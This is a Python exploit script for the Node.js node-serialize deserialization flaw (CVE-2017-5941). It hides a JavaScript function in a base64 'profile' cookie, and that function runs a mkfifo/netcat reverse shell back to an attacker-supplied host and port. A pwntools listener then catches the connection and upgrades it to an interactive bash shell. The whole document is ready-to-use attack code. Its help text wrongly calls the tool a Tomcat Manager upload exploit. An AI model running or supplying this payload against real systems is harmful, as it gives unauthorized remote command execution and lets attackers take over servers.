# -*- coding: utf-8 -*-

# Node.js Express Deserialization RCE
# CVE: 2017-5941
# Exploit author: Ajin Abraham
# https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf
# Python script exploit author: Renan Almeida a.k.a. nullarmor <nullarmor@protonmail.com>

import argparse
import base64
from pwn import *
import requests
import sys

def main():
    
    # args
    argparser = argparse.ArgumentParser(description='Apache Tomcat Manager Authenticated Upload Code Execution', 
                                        add_help=False)
    main_arg = argparser.add_argument_group("MAIN")
    
    main_arg.add_argument('-h', '--help', 
                            help='Show this help menu', 
                            action='store_true')
    
    main_arg.add_argument('--rhost', type=str,
                            help='Tomcat Manager host', 
                            required=True)
    
    main_arg.add_argument('--lhost', type=str,
                            help='Local host to receive reverse shell', 
                            required=True)
    
    main_arg.add_argument('--lport', type=str,
                            help='Local port to receive reverse shell (default: 4444)', 
                            default='4444')
    
    main_arg.add_argument('--burpsuite', action='store_true',
                            help='Enable burpsuite proxy')
    
    args = argparser.parse_args()
    
    # arg validation
    if args.help:
        argparser.print_help()
        sys.exit(1)
    
    # cons
    lhost = args.lhost
    lport = args.lport
    rhost = args.rhost
    burpsuite = args.burpsuite
    
    def charencode(string):
        encoded = ''
        for char in string:
            encoded = encoded + "," + str(ord(char))
        
        return encoded[1:]
    
    def reverse_shell():
        
        l = listen(lport)
        l.sendline(""" python -c 'import pty; pty.spawn("/bin/bash")'""")
        l.interactive()
        
    def exploit():
    
        print(" [*] Sending the malicious JSON to remote host...")
        
        payload = '''
        {"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '''+lhost+''' '''+lport+''' >/tmp/f', function(error, stdout, stderr) { console.log(stdout) });}()"}
        '''
        payload = base64.b64encode(payload.encode()).decode('utf-8')
        
        cookies = { "profile": payload }
        
        proxies = { "http": "127.0.0.1:8080" }
        
        try:
            if burpsuite:
                r = requests.get(rhost, cookies=cookies, proxies=proxies)
            else:
                r = requests.get(rhost, cookies=cookies)
        
        except Exception as e:
            print(e)
            print(" [*] Failed to spawn the shell :(")
    
        else:
            print(" [*] Shell spawned with success!")
            reverse_shell()
            
    # main
    print(" [>] Node.js Express Deserialization RCE")
    print(" [*] Python script exploit author: nullarmor")
    
    exploit()
    
if __name__ == "__main__":
    main()
